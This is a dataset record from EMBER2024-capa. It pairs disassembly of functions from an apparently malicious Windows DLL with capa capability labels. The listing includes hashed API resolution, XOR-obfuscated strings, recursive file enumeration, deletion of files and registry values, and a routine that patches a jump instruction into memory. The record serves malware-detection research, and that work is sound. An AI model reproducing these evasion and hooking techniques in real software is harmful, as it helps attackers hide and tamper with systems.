joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000574b
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48c
push ebx
push dword [ebp + 0xc]
lea ebx, [ebp - 0x3c]
call fcn.1001143f
push dword [ebp + 8]
call fcn.100111e9
pop ecx
pop ecx
test eax, eax
je 0x1000580b
push 0x4e
call fcn.10008af1
mov dword [esp], 0x104
lea ecx, [ebp - 0x284]
push ecx
mov dword [ebp - 0xc], eax
push eax
mov eax, dword [0x10039740]
call dword [eax + 0xe0]
test eax, eax
jne 0x100057ac
push 0x39
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
call fcn.10005912
mov dword [ebp - 4], eax
jmp 0x100057fc
push 0x22d
call fcn.10008af1
mov dword [ebp - 8], eax
push 0
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x10022ad0
push eax
push dword [ebp - 8]
push eax
lea eax, [ebp - 0x284]
push eax
call fcn.1000b60a
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
call fcn.1000ba86
add esp, 0x20
push 8
push 0x53
push 0x3b
push 0x44
push 0x39
push 0x3f
push 0x2e
push 0x57
push 0
call dword [sym.imp.GDI32.dll_Arc]
lea eax, [ebp - 0xc]
push eax
call fcn.1000ba86
pop ecx
jmp 0x100058c6
push esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push str.0Z_oysdi3Olt5IFaxHYixAeR3m7s9UX8NKv_i.jLLsP5UNib_DffXK8y_2Nm_nv2mTQAAZ6.JtAF.ROC.Pdnutj81EJL57__dG7k6jZ4g2IVYNC_CQhVvXnIMU6JAWpC4UENW_k98LKCBh8Wm.zAGPp7bdUmPGtS17z_rWpdU4uZ8R5TNW3yU__ZEqmA3zzPVBvshdFeQ_C.OVtq_v_WteVKX_aJ1wpT7f4_vbBA_aDeMMzy4RA_VNfafXnS1s__Mizf2dftz6Zz7EywklnNDdEqXyQtEnEP0K810Dy57lswneB80RG12PXnsWp18MMpjH.N_bQ_.9x_yu
call fcn.1000acd6
pop ecx
push 0xf
pop esi
cmp eax, esi
ja 0x10005826
mov esi, eax
xor ebx, ebx
mov byte [ebp - 0xd], 0
test esi, esi
je 0x10005852
push 0x20
lea eax, [ebx + 0x42]
mov byte [ebp + ebx - 0x1c], al
lea eax, [ebp - 0x7c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
inc ebx
cmp ebx, esi
jb 0x10005830
push 0x104
lea eax, [ebp - 0x48c]
push eax
push dword [ebp + 8]
call fcn.10005616
add esp, 0xc
pop esi
test eax, eax
je 0x100058be
lea eax, [ebp - 0x284]
push eax
call fcn.1000ae0b
mov dword [esp], 0x22d
call fcn.10008af1
push 0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x10022ad0
push eax
push dword [ebp - 8]
lea ecx, [ebp - 0x284]
push eax
push ecx
push eax
lea eax, [ebp - 0x48c]
push eax
call fcn.1000b60a
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
call fcn.1000ba86
add esp, 0x28
jmp 0x100058c6
call fcn.10005912
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.1000b081
pop ecx
pop ebx
test eax, eax
jne 0x1000590d
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x100058ef
push dword [ebp - 4]
call fcn.1000b081
pop ecx
test eax, eax
jne 0x1000590d
lea eax, [ebp - 0x198]
push eax
push 0xa
push 9
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
lea eax, [ebp - 4]
push 0xfffffffffffffffe
push eax
call fcn.1000ab81
pop ecx
pop ecx
mov eax, dword [ebp - 4]
leave
ret
Function at 0x1000a73c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push edi
lea eax, [ebp - 4]
push eax
xor edi, edi
push 0x20019
push edi
push dword [ebp + 8]
mov dword [ebp - 0xc], edi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1000a76e
xor eax, eax
jmp 0x1000a7e1
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp - 4]
call esi
test eax, eax
jne 0x1000a7be
push dword [ebp - 8]
call fcn.1000ac58
mov ebx, eax
pop ecx
mov dword [ebp - 0x10], ebx
cmp ebx, edi
je 0x1000a7be
lea eax, [ebp - 8]
push eax
push ebx
push edi
push edi
push dword [ebp + 0xc]
push dword [ebp - 4]
call esi
test eax, eax
je 0x1000a7d2
lea eax, [ebp - 0x10]
push 0xfffffffffffffffe
push eax
call fcn.1000ab81
pop ecx
pop ecx
cmp dword [ebp - 4], edi
je 0x1000a7ce
push dword [ebp - 4]
mov eax, dword [0x1003974c]
call dword [eax + 0x1c]
xor eax, eax
jmp 0x1000a7df
push dword [ebp - 4]
mov eax, dword [0x1003974c]
call dword [eax + 0x1c]
mov eax, ebx
pop esi
pop ebx
pop edi
leave
ret
Function at 0x1000ae0b
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x414], ax
xor ebx, ebx
lea eax, [ebp - 0x412]
push ebx
push eax
mov dword [ebp - 4], 0x104
call sub.msvcrt.dll_memset
xor eax, eax
push esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
lea eax, [ebp - 0x414]
push eax
mov eax, dword [0x10039730]
push 1
push ebx
push 0x1a
push ebx
call dword [eax + 4]
call fcn.10011102
mov esi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20c]
push eax
push esi
call dword [sym.imp.USERENV.dll_GetUserProfileDirectoryW]
test eax, eax
jne 0x1000aeb3
mov eax, dword [0x10039720]
mov eax, dword [eax + 0x110]
push dword [eax]
call fcn.100111e9
pop ecx
test eax, eax
je 0x1000aeb3
lea eax, [ebp - 0x20c]
push eax
mov eax, dword [0x10039730]
push 1
push ebx
push 0x24
push ebx
call dword [eax + 4]
mov eax, dword [0x10039740]
push esi
call dword [eax + 0x30]
push 0x104
lea ecx, [ebp - 0x20c]
call fcn.1000adf7
lea eax, [ebp + eax*2 - 0x412]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret
Function at 0x1000aee4
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x1003678c
push dword [ebp + 8]
call fcn.1000b60a
add esp, 0xc
mov dword [ebp - 0x10], eax
cmp eax, esi
je 0x1000b07c
lea ecx, [ebp - 0x264]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x1000b06f
mov ebx, dword [ebp + 0x14]
mov edi, dword [ebp + 0xc]
cmp dword [ebp + 0x20], esi
je 0x1000af4a
mov eax, dword [0x10039740]
push esi
push dword [ebp + 0x20]
call dword [eax + 0x2c]
cmp eax, 0x102
jne 0x1000b064
cmp word [ebp - 0x238], 0x2e
jne 0x1000af78
cmp word [ebp - 0x236], si
je 0x1000b04c
cmp word [ebp - 0x236], 0x2e
jne 0x1000af78
cmp word [ebp - 0x234], si
je 0x1000b04c
mov eax, dword [ebp - 0x264]
and eax, 0x10
je 0x1000af88
test bl, 2
jne 0x1000af91
cmp eax, esi
jne 0x1000afe0
test bl, 4
je 0x1000afe0
cmp dword [ebp + 0x10], 0
jbe 0x1000afde
push dword [edi + esi*4]
lea eax, [ebp - 0x238]
push eax
mov eax, dword [0x10039724]
call dword [eax + 0x18]
test eax, eax
je 0x1000afd8
push dword [ebp + 0x1c]
lea eax, [ebp - 0x264]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test eax, eax
je 0x1000afde
cmp dword [ebp + 0x28], 0
je 0x1000afd8
push dword [ebp + 0x28]
mov eax, dword [0x10039740]
call dword [eax + 0xb4]
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x1000af97
xor esi, esi
test byte [ebp - 0x264], 0x10
je 0x1000b04c
test bl, 1
je 0x1000b04c
push esi
lea eax, [ebp - 0x238]
push eax
push 0x10022ad0
push dword [ebp + 8]
call fcn.1000b60a
add esp, 0x10
mov dword [ebp - 0xc], eax
cmp eax, esi
je 0x1000b04c
cmp dword [ebp + 0x24], esi
je 0x1000b020
push dword [ebp + 0x24]
mov eax, dword [0x10039740]
call dword [eax + 0xb4]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push ebx
push dword [ebp + 0x10]
push edi
push dword [ebp - 0xc]
call fcn.1000aee4
add esp, 0x24
lea eax, [ebp - 0xc]
push 0xfffffffffffffffe
push eax
call fcn.1000ab81
pop ecx
pop ecx
lea eax, [ebp - 0x264]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000af2e
push dword [ebp - 8]
mov eax, dword [0x10039740]
call dword [eax + 0x78]
lea eax, [ebp - 0x10]
push 0xfffffffffffffffe
push eax
call fcn.1000ab81
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000b15c
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push esi
push edi
mov edi, eax
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, 0x200
push esi
lea eax, [ebp - 0x244]
push 0
push eax
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x244]
push eax
push edi
call fcn.1000d25a
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x1000b1aa
xor eax, eax
inc eax
jmp 0x1000b210
mov eax, dword [0x10039720]
push 0xffffffffffffffff
add eax, 0x648
push 0xf0000000
push eax
call fcn.1001d918
push eax
push 0x10036794
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.1000ce46
push 0
lea eax, [ebp - 0x44]
push eax
push 0x1003679c
push edi
call fcn.1000b60a
add esp, 0x2c
mov dword [ebp - 4], eax
test eax, eax
je 0x1000b20e
push edi
mov edi, eax
call fcn.1000b214
mov esi, eax
lea eax, [ebp - 4]
push 0xfffffffffffffffe
push eax
call fcn.1000ab81
xor eax, eax
add esp, 0xc
test esi, esi
setns al
jmp 0x1000b210
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x1000b214
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
and dword [ebp - 4], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push edi
push dword [ebp + 8]
call esi
test eax, eax
jne 0x1000b2bb
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call sub.msvcrt.dll_memset
push 0xabb
call fcn.10012cce
mov dword [ebp - 8], eax
mov eax, dword [0x10039720]
push 0xf4240
add eax, 0x648
push 1
push eax
call fcn.1001d918
push eax
push edi
push dword [ebp - 8]
lea eax, [ebp - 0x210]
push 0x103
push eax
call fcn.1000ce46
lea eax, [ebp - 8]
push eax
call fcn.1000ba86
add esp, 0x34
lea eax, [ebp - 0x210]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x1000b2b5
push 0
push edi
push dword [ebp + 8]
call esi
test eax, eax
jne 0x1000b2bb
or dword [ebp - 4], 0xffffffff
jmp 0x1000b2c4
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x1000b96a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
mov ebx, eax
push edi
mov edi, ecx
mov ecx, ebx
cmp ebx, dword [ebp + 8]
jae 0x1000b9a2
push 0x5a
xor edx, edx
mov eax, ecx
pop esi
div esi
mov eax, dword [ebp + 0xc]
mov al, byte [edx + eax]
xor al, byte [ecx + edi]
je 0x1000b99d
inc ecx
cmp ecx, dword [ebp + 8]
jb 0x1000b981
jmp 0x1000b9a2
sub ecx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.1000ac58
xor esi, esi
pop ecx
mov dword [ebp - 8], eax
cmp eax, esi
jne 0x1000b9bd
mov eax, 0x10039834
jmp 0x1000b9ef
cmp dword [ebp - 4], esi
jbe 0x1000b9ec
mov dword [ebp + 8], ebx
sub dword [ebp + 8], eax
add edi, ebx
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add ecx, esi
add eax, ecx
xor edx, edx
push 0x5a
pop ebx
div ebx
mov eax, dword [ebp + 0xc]
mov al, byte [edx + eax]
xor al, byte [edi + esi]
inc esi
mov byte [ecx], al
cmp esi, dword [ebp - 4]
jb 0x1000b9ca
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000ba07
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push edi
mov edi, eax
mov ecx, esi
cmp esi, dword [ebp + 8]
jae 0x1000ba3b
push 0x5a
xor edx, edx
mov eax, ecx
pop ebx
div ebx
mov eax, dword [ebp + 0xc]
mov al, byte [edx + eax]
xor al, byte [ecx + edi]
je 0x1000ba36
inc ecx
cmp ecx, dword [ebp + 8]
jb 0x1000ba1a
jmp 0x1000ba3b
sub ecx, esi
mov dword [ebp - 4], ecx
mov ebx, dword [ebp - 4]
lea eax, [ebx + ebx + 2]
push eax
call fcn.1000ac58
pop ecx
mov dword [ebp + 8], eax
test eax, eax
jne 0x1000ba57
mov eax, 0x10039838
jmp 0x1000ba82
xor ecx, ecx
test ebx, ebx
je 0x1000ba82
add edi, esi
xor edx, edx
push 0x5a
lea eax, [ecx + esi]
pop ebx
div ebx
mov eax, dword [ebp + 0xc]
mov al, byte [edx + eax]
xor al, byte [edi + ecx]
movzx edx, al
mov eax, dword [ebp + 8]
mov word [eax + ecx*2], dx
inc ecx
cmp ecx, dword [ebp - 4]
jb 0x1000ba5f
pop edi
pop ebx
leave
ret
Function at 0x1000c69a
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
pop ebp
jmp fcn.1000cc68
Function at 0x1000cbd4
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esi]
inc eax
push eax
call fcn.1000ac58
pop ecx
xor ecx, ecx
cmp eax, ecx
je 0x1000cc00
cmp dword [esi], ecx
jbe 0x1000cc00
mov edx, ecx
and edx, 3
mov dl, byte [edx + esi + 0x108]
xor dl, byte [esi + ecx + 4]
mov byte [ecx + eax], dl
inc ecx
cmp ecx, dword [esi]
jb 0x1000cbe8
ret

Function at 0x1000cc68
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov esi, dword [0x100397e8]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push 4
push eax
mov eax, dword [esi + 0x108]
mov ebx, esi
call fcn.10011785
and dword [ebp - 4], 0
pop ecx
pop ecx
mov dword [ebp - 8], eax
call fcn.1000cbd4
mov dword [ebp - 0xc], eax
test eax, eax
je 0x1000cd07
mov eax, dword [ebp - 8]
push edi
push 0x10
lea edi, [ebp - 0x2c]
call fcn.1000cf36
pop ecx
lea eax, [ebp - 8]
push eax
mov eax, dword [0x1003974c]
push 2
push 0
push dword [ebp - 0xc]
push dword [ebx + 0x10c]
call dword [eax + 0x14]
pop edi
test eax, eax
je 0x1000ccd7
mov dword [ebp - 4], 0xfffffffe
jmp 0x1000ccfa
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x1000ccef
mov dword [ebp - 4], 0xfffffffc
push dword [ebp - 8]
mov eax, dword [0x1003974c]
call dword [eax + 0x1c]
lea eax, [ebp - 0xc]
push 0xffffffffffffffff
push eax
call fcn.1000ab81
pop ecx
pop ecx
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret

Function at 0x1000d474
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
xor ecx, ecx
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ecx
cmp dword [ebp + 0xc], ecx
jbe 0x1000d54a
push esi
push edi
mov eax, dword [ebp + 0x14]
add eax, 0xfffffffc
cmp ecx, eax
jae 0x1000d548
xor esi, esi
xor edx, edx
mov eax, dword [ebp + 8]
mov al, byte [ebx + eax]
lea ecx, [ebp + edx - 4]
mov byte [ecx], al
cmp ebx, dword [ebp + 0xc]
jae 0x1000d4b3
inc esi
jmp 0x1000d4b6
mov byte [ecx], 0
inc ebx
inc edx
cmp edx, 3
jl 0x1000d49f
test esi, esi
je 0x1000d53c
movzx ecx, byte [ebp - 4]
movzx edx, byte [ebp - 3]
mov eax, ecx
shr eax, 2
mov al, byte [eax + 0x1002a118]
mov byte [ebp - 8], al
and ecx, 3
mov eax, edx
shr eax, 4
shl ecx, 4
or eax, ecx
mov al, byte [eax + 0x1002a118]
mov byte [ebp - 7], al
cmp esi, 1
jle 0x1000d50c
movzx eax, byte [ebp - 2]
and edx, 0xf
shr eax, 6
shl edx, 2
or eax, edx
mov al, byte [eax + 0x1002a118]
mov byte [ebp - 6], al
jmp 0x1000d510
mov byte [ebp - 6], 0x3d
cmp esi, 2
jle 0x1000d527
movzx eax, byte [ebp - 2]
and eax, 0x3f
mov al, byte [eax + 0x1002a118]
mov byte [ebp - 5], al
jmp 0x1000d52b
mov byte [ebp - 5], 0x3d
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp + 0x10]
add dword [ebp - 0xc], 4
lea esi, [ebp - 8]
lea edi, [edi + eax]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0xc]
cmp ebx, dword [ebp + 0xc]
jb 0x1000d48d
pop edi
pop esi
pop ebx
cmp ecx, dword [ebp + 0x14]
jae 0x1000d557
mov eax, dword [ebp + 0x10]
mov byte [ecx + eax], 0
mov eax, ecx
leave
ret
Function at 0x1000e90c
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x10039720]
mov ecx, dword [eax + 0x1898]
sub esp, 0x88
push edi
xor edi, edi
cmp ecx, 0x100
je 0x1000e93e
cmp dword [eax + 4], 0xa
jb 0x1000ea57
test cl, 4
je 0x1000ea57
push 0xa0e
call fcn.10012cce
mov edx, dword [0x10039720]
add edx, 0xb0
push edx
mov dword [ebp - 8], eax
call fcn.1000acd6
push eax
push edx
xor eax, eax
call fcn.10011785
push eax
push str._08x
lea eax, [ebp - 0x88]
push 0x40
push eax
call fcn.1000ce46
mov eax, dword [0x10039720]
add esp, 0x20
mov ecx, str.SysWOW64
cmp dword [eax + 0xa8], edi
jne 0x1000e994
mov ecx, str.System32
push esi
push edi
push dword [ebp - 8]
mov esi, 0x10022ad0
push esi
push ecx
add eax, 0x1020
push esi
push eax
call fcn.1000b60a
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
call fcn.1000ba86
push edi
push 0x100367e4
push 0x1003679c
lea eax, [ebp - 0x88]
push eax
mov eax, dword [0x10039720]
add eax, 0x122a
push esi
push eax
call fcn.1000b60a
add esp, 0x34
push edi
push eax
push dword [ebp - 4]
mov dword [0x10039844], eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push dword [0x10039844]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x10039840], eax
pop esi
cmp eax, edi
je 0x1000ea1b
push eax
push 0x1002b338
push 0x28
pop eax
call fcn.1000f184
pop ecx
pop ecx
mov dword [0x100397ec], eax
jmp 0x1000ea21
mov dword [0x100397ec], edi
lea eax, [ebp - 4]
push 0xfffffffffffffffe
push eax
call fcn.1000ab81
push 0x80
lea eax, [ebp - 0x88]
push edi
push eax
call sub.msvcrt.dll_memset
add esp, 0x14
cmp dword [0x100397ec], edi
jne 0x1000ea69
push 0xfffffffffffffffe
push 0x10039844
call fcn.1000ab81
pop ecx
pop ecx
cmp dword [0x100397ec], edi
jne 0x1000ea69
mov eax, dword [0x1003972c]
mov dword [0x100397ec], eax
xor eax, eax
inc eax
pop edi
leave
ret
Function at 0x1000ee74
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
xor ebx, ebx
call fcn.1000e90c
test eax, eax
je 0x1000ef41
push dword [ebp + 0xc]
push dword [esi]
call fcn.1000ebf6
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x1000ef41
push 0x2cc
lea eax, [ebp - 0x2e8]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2e8]
push eax
push dword [esi + 4]
mov eax, dword [0x10039740]
mov dword [ebp - 0x2e8], 0x10002
call dword [eax + 0xa8]
test eax, eax
je 0x1000ef41
mov eax, dword [ebp - 0x238]
mov edx, dword [ebp + 8]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x10], eax
mov ecx, ebx
sub ecx, eax
sub ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push eax
push 0x40
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [esi]
mov eax, dword [0x100397ec]
lea ecx, [ecx + edx - 5]
mov byte [ebp - 0xc], 0xe9
mov dword [ebp - 0xb], ecx
mov dword [ebp - 4], 5
call dword [eax + 0x1c]
test eax, eax
js 0x1000ef3f
lea eax, [ebp - 4]
push eax
push 5
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x238]
mov eax, dword [0x100397ec]
push dword [esi]
call dword [eax + 0x18]
test eax, eax
jns 0x1000ef41
xor ebx, ebx
mov eax, dword [0x10039840]
test eax, eax
je 0x1000ef58
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [0x10039840], 0
mov eax, dword [0x10039844]
test eax, eax
je 0x1000ef76
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xfffffffffffffffe
push 0x10039844
call fcn.1000ab81
pop ecx
pop ecx
mov eax, ebx
pop ebx
leave
ret
Function at 0x1000f1ca
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + 0x3c]
add eax, ecx
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 0x78]
test eax, eax
jne 0x1000f1e4
leave
ret
and dword [ebp - 4], 0
push ebx
push esi
lea esi, [eax + ecx]
mov ebx, dword [esi + 0x24]
mov eax, dword [esi + 0x1c]
push edi
mov edi, dword [esi + 0x20]
add eax, ecx
add edi, ecx
add ebx, ecx
cmp dword [esi + 0x18], 0
mov dword [ebp - 8], eax
jbe 0x1000f2bd
jmp 0x1000f20f
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov edx, dword [edi + eax*4]
add edx, ecx
push edx
call fcn.1000acd6
push eax
push edx
xor eax, eax
call fcn.10011785
xor eax, 0x218fe95b
add esp, 0xc
cmp eax, dword [ebp + 0xc]
je 0x1000f240
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [esi + 0x18]
jb 0x1000f20c
jmp 0x1000f2bd
mov eax, dword [ebp - 4]
movzx eax, word [ebx + eax*2]
mov ecx, dword [ebp - 8]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp + 8]
cmp eax, esi
jb 0x1000f2bf
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx + 0x7c]
add ecx, esi
cmp eax, ecx
jae 0x1000f2bf
lea esi, [ebp - 0x4c]
xor ecx, ecx
mov ebx, eax
mov edi, eax
sub esi, eax
mov dl, byte [edi]
cmp dl, 0x2e
je 0x1000f280
test dl, dl
je 0x1000f280
inc ecx
mov byte [esi + edi], dl
inc edi
cmp ecx, 0x40
jb 0x1000f26b
cmp byte [ecx + eax], 0
mov byte [ebp + ecx - 0x4c], 0x2e
mov byte [ebp + ecx - 0x4b], 0x64
mov byte [ebp + ecx - 0x4a], 0x6c
mov byte [ebp + ecx - 0x49], 0x6c
mov byte [ebp + ecx - 0x48], 0
je 0x1000f2a3
lea ebx, [ecx + eax + 1]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x1000f2bd
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1000f2bf
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000f2c4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
sub esp, 0xc
test eax, eax
jne 0x1000f2da
leave
ret
and dword [ebp - 4], 0
push ebx
add eax, edx
mov ebx, dword [eax + 0x24]
mov ecx, dword [eax + 0x1c]
push esi
mov esi, dword [eax + 0x20]
mov eax, dword [eax + 0x18]
add ecx, edx
add esi, edx
add ebx, edx
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], eax
test eax, eax
jne 0x1000f309
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov eax, dword [esi + eax*4]
mov edi, dword [ebp + 0xc]
add eax, edx
push eax
call fcn.1000d03f
pop ecx
test eax, eax
je 0x1000f32c
inc dword [ebp - 4]
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 8]
jb 0x1000f306
jmp 0x1000f2ff
mov eax, dword [ebp - 4]
movzx eax, word [ebx + eax*2]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + eax*4]
add eax, dword [ebp + 8]
jmp 0x1000f301
Function at 0x10011785
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
not eax
cmp dword [ebp + 0xc], ecx
jne 0x10011795
xor eax, eax
pop ebp
ret
jbe 0x100117c4
mov edx, dword [ebp + 8]
movzx edx, byte [ecx + edx]
xor eax, edx
mov edx, eax
and edx, 0xf
shr eax, 4
xor eax, dword [edx*4 + 0x10027eb0]
mov edx, eax
and edx, 0xf
shr eax, 4
xor eax, dword [edx*4 + 0x10027eb0]
inc ecx
cmp ecx, dword [ebp + 0xc]
jb 0x10011797
not eax
pop ebp
ret

Function at 0x10012493
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
push 0x2002
call fcn.1000ac58
mov esi, eax
pop ecx
mov dword [ebp - 0x10], esi
test esi, esi
jne 0x100124b6
or eax, 0xffffffff
jmp 0x100125e4
push dword [ebp + 8]
call fcn.1000b6b3
pop ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x100124ae
push ebx
lea eax, [ebp - 4]
push edi
push eax
call fcn.1000acef
push 0x85
call fcn.10012cce
push dword [ebp + 0xc]
mov edi, 0x1000
push dword [ebp - 4]
mov dword [ebp - 8], eax
push 0x72
push eax
push edi
push esi
call fcn.1000ce46
lea eax, [ebp - 8]
push eax
call fcn.1000ba86
push esi
call fcn.10012c6b
mov ebx, eax
add esp, 0x28
mov dword [ebp - 0xc], ebx
test ebx, ebx
jne 0x1001251a
mov dword [ebp - 8], 0xfffffffe
jmp 0x100125bc
push ebx
call fcn.1001240a
pop ecx
mov dword [ebp - 8], eax
test eax, eax
jle 0x10012578
mov eax, dword [0x10039740]
push 0xbb8
call dword [eax + 0xb4]
xor esi, esi
push dword [ebp + 0xc]
call fcn.1000d231
pop ecx
test eax, eax
jne 0x1001255f
mov eax, dword [0x10039740]
push 0x64
call dword [eax + 0xb4]
inc esi
cmp esi, 0xc8
jl 0x1001253a
jmp 0x10012578
push eax
mov eax, dword [0x10039740]
call dword [eax + 0x30]
mov eax, dword [0x10039740]
push 0x3e8
call dword [eax + 0xb4]
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x100125bc
push str.982h38
call fcn.1000acd6
pop ecx
push 0xf
pop ecx
cmp eax, ecx
ja 0x10012599
mov ecx, eax
xor eax, eax
test ecx, ecx
je 0x100125a4
inc eax
cmp eax, ecx
jb 0x1001259f
mov eax, dword [0x10039740]
push 1
push 0x3e8
call dword [eax + 0xb8]
inc esi
cmp esi, 0x14
jl 0x1001257a
lea eax, [ebp - 4]
push 0xfffffffffffffffe
push eax
call fcn.1000ab81
lea eax, [ebp - 0xc]
push 0xfffffffffffffffe
push eax
call fcn.1000ab81
lea eax, [ebp - 0x10]
push edi
push eax
call fcn.1000ab81
mov eax, dword [ebp - 8]
add esp, 0x18
pop edi
pop ebx
pop esi
leave
ret